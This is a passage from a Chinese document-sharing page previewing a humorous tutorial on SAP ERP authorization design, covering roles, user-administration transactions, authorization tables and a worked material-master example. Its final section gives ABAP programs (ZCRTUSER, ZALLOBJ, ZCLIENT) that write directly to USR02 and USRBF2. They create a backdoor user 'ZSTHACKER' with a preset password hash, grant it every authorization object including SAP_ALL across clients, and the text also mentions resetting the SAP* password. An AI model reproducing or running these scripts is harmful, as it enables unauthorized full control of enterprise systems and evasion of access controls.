大话ERP权限控制_第1页
大话ERP权限控制_第2页
大话ERP权限控制_第3页
大话ERP权限控制_第4页
大话ERP权限控制_第5页
已阅读5页,还剩3页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、ERP权限控制在这一节,大话一下ERP的权限设计,让大家开心之余了解权限设计的逻辑。一个特别是适合大集团业务的ERP系统,应该提供一个非常完善的权限控制机制,甚至允许将权限控制字段细到字段级别,如果连基本的权限控制都做不到这点,估计您家的“ERP”产品就只能是小打小闹小折腾,小打小闹紧巴巴过日子可不大好过呀,N年以前,我曾做过国内某 ERP的维护+售前,某次,终于好不容易废了两斤半口水才谈妥一个单子,就小小的几千元钱,结果用户还拿着菜刀过来砍价,说,能再优惠一点就买了,我心中盘算了一番,这单下来那点可怜的奖金,再加上我那无颜拿出来晒的3位数的”口粮”(薪水),应该要到60岁左右能赚到我家乡的父

2、老乡亲常说的年轻小伙子必须要攒的LP本,想到此,俺心里流下了辛酸的眼泪,祈祷说,主呀,神仙JJ呀,你们在哪里晃悠?主呀,给个发财的机会吧,神仙JJ,赐个MM做GF吧。经过我的认真仔细观察,我从我那婆娘身上得出一个大大大大的理论,那就是钻石白菜理论,我的LP简直是太会“节省“了,就是去买棵3毛钱一斤的白菜,她都一定要争到2毛一斤,顺便还能要到小贩的几根小葱,真是I服了Her,可是她逛珠宝店铺时看到钻戒眼睛发绿时却总会忘记昂贵的价格,买一个丢一个,现在只要俺和她逛街时一看见前面有珠宝店时俺就心里发毛,立即下意识捂紧口袋。经过俺精确计算,丢失一颗钻戒的损失俺LP得侃大半辈子白菜价才能挽回。好笑吗?我

3、们很多企业和个人都有这样的毛病,别看有的企业平时抠门的很,实施ERP那也是不求产品最适用但求产品最昂贵,贵的就是好的,体面!多年以前,俺在幼儿园时老师布置的权限作业,俺大概是如此设计的。Select 用户名 From 用户表 where 用户名='butcher' (得到用户名)select权限组ID From 权限表 where 用户名='butcher' (得到用户对应的权限组ID)select * From 权限控制列表 where权限组ID = *(得到没个权限组ID对应的明细权限列表也就是用户的明细权限)多年以后,俺们有的软件公司居然还玩这套小把戏。注

4、意:在此我们可看到诸如用户名表,角色表,权限组表和对应业务操作的权限详细控制列表诸如此类的表格。现在来看看ERP的权限设计思路,首先了解下几个Tcode和权限相关表格。常用权限相关Tcode .(一)Role(角色)相关T-code:PFCG 创建ROLE_CMP 角色比较SUPC 批量建立角色profile(二)建立用户SU01 建立用户SU01D 显示用户SU2|SU3| SU50|SU51|SU52 改变/显示用户个人参数SU10|SU12 批量维护用户SUCOMP维护用户公司地址SUIM 用户信息系统(强调一下)(三)建立用户组SUGR| SUGRD_NAV 维护用户组SUGRD| S

5、UGR_NAV 显示用户组 (四)维护检查授权SU20|SU21自定义授权字段和授权对象SU53 当出现权限问题可使用它检测未授权对象.SU56:分析authoraztion data buffers.常用权限相关表格:TOBJ : All avaiable authorzation objects.(ERP系统默认的所有授权对象)USR12: 用户级authoraztion值USR02:User Logon Data(包括用户名称密码,是否锁住等字段)USR03:User address dataUSR05:User Master Parameter ID(Tcode SU3可查看用户参数文

6、件的参数ID默认值)USR41:当前用户(即Tcode SM04看到的所有当前活动用户,包括各种对话系统通信类用户)USRBF2:记录当前用户所有的授权objectsUST04:User Profile master(用户主数据中对应的权限参数文件名)UST10S: Single profiles(授权文件,权限参数和授权对象对应表)UST12 : Authorizations(具体授权细节)重点提示:USR02/USRBF2/UST10S/UST12四个表包含的信息就是ERP权限控制的关键,前者是用户主数据表,后三者和用户授权紧密相关。我现在来举一个MM01建立物料主数据的实例来说明ERP的

7、权限控制设计思路,步骤如下:第一步:建立角色(Tcode:PFCG)图1中,假设建立角色ZMM01。图1-12:在菜单Tab页选择“事务“加入MM01->创建物料&,你还可为程序,查询这样的报表授权,选择”其它“还能为数据仓库等对象设置权限角色。图1-345:到“权限“Tab页看到系统自动产生的授权参数文件Profilname T-C1550437,然后选择”更改授权数据“,进入图2。显然系统并不意味你给了建立物料的权限就能随意使用该Tcode了,系统有更严格的细致控制。图2-12:我们可以看到建立物料主数据的权限分公司代码层次,仓库层次,物料类型层次,销售组织层次,物料组层次,

8、和工厂层次等等,特别是对于象公司代码,销售组织和工厂这样的组织层次授权字段,控制点是非常必要的,一个大集团实施ERP,各公司代码,各公司代码下的各Plant授权用户只能建立各自的物料,现在来看看是如何控制到工厂级别的。图2-345:在每个控制级别(即权限控制字段)都分控制字段和作业,每个权限控制字段对应一个所谓的授权对象,工厂的授权对象是M_MATE_WRK,所有授权对象的作业统一都是ACTVT,包括01/02/03/06/08五个作业,即控制是否允许创建更改显示删除等。比如MM01的作业只给03->显示,则只能显示物料。注:如果有特殊权限控制需要,可以使用SU20|SU21自定义授权字

9、段和授权对象图2-67:点击“工厂“,进去增加工厂权限,设置了工厂FRA1,FRA2和一个工厂范围FRM1-FRM2。注:如果公司代码,物料类,物料组,工厂等授权字段选择*表示允许输入该字段所有的内容。经过我一个个点,好不容易,你看到的图2现在是一片绿色,现在可以按图2-8按纽生成权限参数文件了,这步是必须的。 权限设置越细致,管理员的工作量将越大,据说,有一个项目权限设置时间紧迫,时间紧呀,Basis兄弟有责任心呀,人家早上5点钟就起床开始将急着忙着将红灯点绿,由于点的速度过快,时间过长,结果呢,硬是将鼠标都点的冒起缕缕青烟了。接下来,使用SU01建立一个用户假设名叫butcher,然后在此

10、将角色ZMM01分配给它,如图3,记得要做“用户比较“知道该按纽变绿,这和人带的帽子不同,在角色设置中,越绿越好,至此,一个最简单的权限设置就Ok了,用户butcher只能使用MM01在工厂FRA1,FRA1,FRM1,FRM2四个工厂上建立物料主数据。现在来检查USRBF2/UST10S/UST12三个和用户授权相关的表格数据,如图4,图5和图6。图4是用户参数文件表USR10S和用户授权表USRBF2的合成图。图4-1346: UST10S表的参数文件T-C1550437正是图1-4中定义角色ZMM01时生成的参数文件,对象表示的即授权对象,每个授权对象对应一个图4-6 的权限名称T-C1

11、55043700| T-C155043701,这俩权限名称正是参数文件T-C1550437文件+系号。图4-25:用户授权对象表USRBF2包含了ERP用户BUTCHER所对应的(授权)对象和对象对应的权限名称,现在注意一下USRBF2表用户BUTCHER包含了工厂的授权对象M_MATE_WRK,其对应的授权名称是T-C155043700,那么图2-7设置的四个工厂FRA1,FRA1,FRM1,FRM2保存在什么地方呢?请见图6。为什么一个参数文件T-C1550437产生了两个T-C155043700| T-C155043701权限名称呢?查看权限对象设置时发现,在仓库授权对象M_MATE_L

12、GN和销售组织/分销渠道授权M_MATE_VKO下系统竟默认了两次相同的授权作业,如图5。图5表示建立物料主数据的仓库号和销售组织/分销渠道默认授权了两次。图6中,可以看到授权对象M_MATE_WRK(即工厂授权对象)有5条记录,其中字段ACTVT有01,06两条,分表表示允许建立和删除物料数据,工厂WERKS有三条,正是FRA1,FRA2,和值FRM1到值FRM2,如图6-23。至此,权限设计的基本逻辑就非常清晰了,如果用户BUTCHER要建立某工厂的物料,首先从授权表中查看是否有M_MATE_WRK的授权对象,然后再到UST12去检查输入的工厂是否在授权范围,If not so,则提示未授

13、权。现在用户BUTCHER建立物料主数据,输入工厂1000,提示M3 855未授权处理工厂1000的主数据,如图7。通常有两种便捷方法查找到权限控制逻辑,一是SE91输入M3 855查找,二是直接在物料主数据建立程序中查找,一定能看到该主程序的子程序下到处都有象图7-4的AUTHORITY-CHECK OBJECT 授权对象名称 ID ACTVT 作业允许号ID 授权字段 FIELD 用户输入内容“这样的权限检查逻辑。回顾一下,注意以下三点。1.创建角色Role将产生一个授权参数文件Profiel Name 。2.一个授权参数文件包含许多授权对象Authority Objects,实际上是如果

14、将多个Tcode或报表或起其它什么的赋予一个Role,系统将这些Tcode(或报表)对应的授权对象带出,这些授权对象当然在Tcode(报表对应的)程序逻辑中会有体现,则角色对应的授权参数文件将包含这些授权对象。3.授权对象通常有两部分组成:一是作业ACTVT,作业号分别是:01创建或生成 02更改03显示06删除08显示修改文档 二是授权字段,这些授权字段通常是诸如组织结构层次的公司代码,工厂,或其它比如物料类型,凭证类型等,这样可以做到更细微的权限控制。现在我们知道,实际上决定权限的是授权对象Authorization Object,用户的授权对象表在USRBF2中,所以只要往这个表插入数据

15、就获得了权限,现在可以使用SE38建立用户和授予权限。下面的程序ZCRTUSER是建立用户ZSTHACKER(初始密码123qaz)并赋予SAP*用户的所有权限的参考程序.Program ZCRTUSER.Data ZUSR02 like USR02 .*1.Create User ZSTHACKER according to DDICselect single * into ZUSR02 from USR02where BNAME = 'DDIC'.ZUSR02-BNAME = 'ZSTHACKER'.ZUSR02-Bcode = 'E3B796BB0

16、9F7901B' .insert USR02 from ZUSR02 .*2.Copy any auth. Obj from all users data ZUSRBF2 like USRBF2 occurs 0 with header line.select * from USRBF2 into table ZUSRBF2.Loop at ZUSRBF2. ZUSRBF2-BNAME = 'ZSTHACKER' . Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.endloop.INSERT USRBF2 FROM T

17、ABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.如果SAP*可能被删除,还可直接将TOBJ中包含的所有的ERP授权对象全部赋予给一个用户。以下程序ZALLOBJ是赋予所有的标准授权对象给用户ZSTHACKER 。Program ZALLOBJ。Data Ztobj like tobj occurs 0 with header line .data zusrbf2 like usrbf2.select * into table ztobj from tobj .loop at ztobj. zusrbf2-mandt = sy-mandt. zusrbf2-bname

18、 = 'ZSTHACKER'. zusrbf2-objct = ztobj-objct. zusrbf2-auth ='&_SAP_ALL'. modify USRBF2 FROM zusrbf2 .endloop .也可跨Client建立用户和赋予权限,只要使用client specified就可以。Program ZCLIENT.Data zusrbf2 like usrbf2.Select * into zusrbf2 from usrbf2 where bname = 'SAP*' .Zusrbf2-bname = 'ZSTHACKER' .Zusrbf2-mandt = '100'.Insert into usrbf2 client specified values zusrbf2.Endselect .下面是一句话修改SAP*的密码为123456的程序,同样,假设用户BUTCHER的密码丢失,我只要随便在一台服务器上建立一个用户也

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论